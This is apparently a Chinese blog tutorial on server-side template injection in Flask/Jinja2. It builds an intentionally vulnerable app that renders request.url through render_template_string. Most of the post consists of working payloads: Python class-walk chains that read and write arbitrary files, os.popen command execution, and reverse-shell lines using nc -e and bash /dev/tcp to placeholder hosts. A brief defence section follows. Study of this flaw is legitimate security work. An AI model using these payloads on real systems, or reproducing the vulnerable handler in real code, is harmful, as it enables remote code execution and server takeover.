Flask/Jinja2 模板注入学习

img

0x00 前言

服务端模板注入(SSTI)攻击,可以看看James Kettle写的这篇文章
flask出现模板注入原因主要还是因为使用了render_template_string函数

0x01 环境搭建

test.py

from flask import Flask,render_template,config,render_template_string,request
from Config import Config
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"

@app.errorhandler(404)
def page_not_found(e):
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)

    return render_template_string(template)


if __name__=='__main__':`
    app.run('0.0.0.0',9999,debug=True)

0x03 检测注入

http://localhost:8888/{{ 7*7 }}
#http://localhost:8888/%7B%7B7*7%7D%7D

avatar

  • 导出config变量

    avatar

  • 导出类

    avatar

设置404界面本意是返回一个错误的url,但是渲染模板方法不当,导致python语句的执行

avatar

0x04 漏洞利用

python2 和python3 有不同,这里测试的是python2,python3的类变化有点捉摸不透

寻找调用的子类

SSTI

SSTI

文件操作

能够执行代码,就能够完成很多事情,接下来,我们将写入一个webshell。之后的知识涉及沙箱逃逸和反弹shell

python2:

#写
{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:\flag', 'w').write('1234123') }}
#读
{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:\flag').read() }}

SSTI

执行命令

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
下有eval,__import__等的全局函数,可以利用此来执行命令:
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

反弹shell

# 写入文件
payload 1 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}
payload 2 ::
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}
# 利用 config.from_pyfile 加载文件
{{ config.from_pyfile('/tmp/shaobao') }}
# 反弹shell ; 提供两种方法;对应上的两个文件
payload1 ::
{{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}
payload2 ::
{{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}

0x05 防范与总结

不提倡使用 render_template_string()

一般开发者都会将模板内容写入固定文件夹templates

规范模板渲染,按照Jinja2的官方文档

Referer

一些flask/Jinja2绕过姿势

Python Flask/Jinja 模板注入

TokyoWesterns CTF 4th 2018 – Shrine – writeup 过滤了括号

Leave a Reply

Your email address will not be published. Required fields are marked *